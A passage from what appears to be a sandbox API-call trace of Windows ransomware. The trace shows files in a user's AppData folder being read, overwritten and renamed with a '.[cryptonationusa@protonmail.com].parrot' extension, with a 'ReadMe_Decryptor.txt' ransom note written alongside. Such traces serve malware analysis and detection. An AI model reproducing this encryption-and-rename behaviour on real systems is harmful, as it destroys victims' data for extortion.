hHeap=0x540000, dwFlags=0x0, lpMem=0x628a10 | out: hHeap=0x540000) returned 1 [0043.372] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x691f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0043.373] CloseHandle (hObject=0x2d4) returned 1 [0043.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0043.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0043.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0043.376] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-1bc-uXLG CGOot_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-1bc-uxlg cgoot_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-1bc-uXLG CGOot_.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-1bc-uxlg cgoot_.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0043.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0043.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0043.378] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0043.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0043.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0043.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0043.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0043.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0043.379] GetFileType (hFile=0x2d4) returned 0x1 [0043.379] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.360] lstrcmpW (lpString1="-q13UDuCHz8Px2HXFv.gif", lpString2="ReadMe_Decryptor.txt") returned -1 [0044.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-q13UDuCHz8Px2HXFv.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-q13uduchz8px2hxfv.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.360] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0xbd2a [0044.360] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbe42, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.360] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.360] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0044.361] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.363] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0xbd2a, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0xbd2a, lpOverlapped=0x0) returned 1 [0044.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0044.363] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0044.364] GetLastError () returned 0x0 [0044.364] SetLastError (dwErrCode=0x0) [0044.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.364] GetLastError () returned 0x0 [0044.364] SetLastError (dwErrCode=0x0) [0044.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.364] GetLastError () returned 0x0 [0044.364] SetLastError (dwErrCode=0x0) [0044.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c70 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x608f00 [0044.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5fc980 [0044.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0044.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0044.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0044.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28ea198 [0044.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0044.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa) returned 0x5f4c58 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c70 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.367] GetLastError () returned 0x0 [0044.367] SetLastError (dwErrCode=0x0) [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.367] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0044.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c40 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c28 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x28d5e30 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x5ea7f8 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608ab8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d5988 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5ea7f8 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0044.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0044.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x55df08 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x608f00 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x5fc980 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x61c990 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x6210e0 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x627bc0 [0044.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6210e0 | out: hHeap=0x540000) returned 1 [0044.369] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x28fa1d8 [0044.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x627bc0 | out: hHeap=0x540000) returned 1 [0044.371] WriteFile (in: hFile=0x2d4, lpBuffer=0x28fa1e0*, nNumberOfBytesToWrite=0xbe48, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x28fa1e0*, lpNumberOfBytesWritten=0x18fa94*=0xbe48, lpOverlapped=0x0) returned 1 [0044.371] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28fa1d8 | out: hHeap=0x540000) returned 1 [0044.373] UnlockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbe42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0044.373] CloseHandle (hObject=0x2d4) returned 1 [0044.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0044.375] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0) returned 0x28d14a8 [0044.375] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0044.375] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-q13UDuCHz8Px2HXFv.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-q13uduchz8px2hxfv.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-q13UDuCHz8Px2HXFv.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-q13uduchz8px2hxfv.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0044.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0044.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0044.376] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x28d9488 [0044.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x28d5e30 [0044.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bbe8 [0044.376] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bd98 [0044.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.377] GetFileType (hFile=0x2d4) returned 0x1 [0044.378] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x55df08 [0044.391] lstrcmpW (lpString1="0Md0.csv", lpString2="ReadMe_Decryptor.txt") returned -1 [0044.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\0Md0.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\0md0.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d4 [0044.391] GetFileSize (in: hFile=0x2d4, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x148c1 [0044.391] LockFile (hFile=0x2d4, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x149d9, nNumberOfBytesToLockHigh=0x0) returned 1 [0044.391] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.391] ReadFile (in: hFile=0x2d4, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0044.392] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.393] ReadFile (in: hFile=0x2d4, lpBuffer=0x3780040, nNumberOfBytesToRead=0x148c1, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x3780040*, lpNumberOfBytesRead=0x18fa94*=0x148c1, lpOverlapped=0x0) returned 1 [0044.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bbe8 [0044.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x23) returned 0x5e28c8 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c28 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x120c) returned 0x55df08 [0044.394] GetLastError () returned 0x0 [0044.394] SetLastError (dwErrCode=0x0) [0044.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5e78a0 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c40 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59a0c8 [0044.394] GetLastError () returned 0x0 [0044.394] SetLastError (dwErrCode=0x0) [0044.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.394] GetLastError () returned 0x0 [0044.394] SetLastError (dwErrCode=0x0) [0044.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c) returned 0x5bb6c0 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x5f4c58 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x5775c0 [0044.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1033) returned 0x608f00 [0044.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2033) returned 0x5fc980 [0044.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f00 | out: hHeap=0x540000) returned 1 [0044.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4033) returned 0x61c990 [0044.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fc980 | out: hHeap=0x540000) returned 1 [0044.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8033) returned 0x6209d0 [0044.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x61c990 | out: hHeap=0x540000) returned 1 [0044.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10033) returned 0x28ea198 [0044.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6209d0 | out: hHeap=0x540000) returned 1 [0044.397] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20033) returned 0x28fa1d8 [0044.545] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28ea198 | out: hHeap=0x540000) returned 1 [0044.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c58 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.546] GetLastError () returned 0x0 [0044.546] SetLastError (dwErrCode=0x0) [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5775c0 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e28c8 | out: hHeap=0x540000) returned 1 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55df08 | out: hHeap=0x540000) returned 1 [0044.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x579388 [0044.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x180) returned 0x5bbfc0 [0044.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x579388 | out: hHeap=0x540000) returned 1 [0044.547] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1) returned 0x55bbe8 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2) returned 0x55bd98 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3) returned 0x55bbe8 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x55bd98 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6) returned 0x55bbe8 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bd98 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x9) returned 0x5f4c28 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bbe8 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd) returned 0x5f4c40 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c28 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13) returned 0x59a0c8 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f4c40 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0044.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0044.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x28d5e30 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d14a8 [0044.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5e30 | out: hHeap=0x540000) returned 1 [0044.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x608ab8 [0044.548] HeapFree (in: 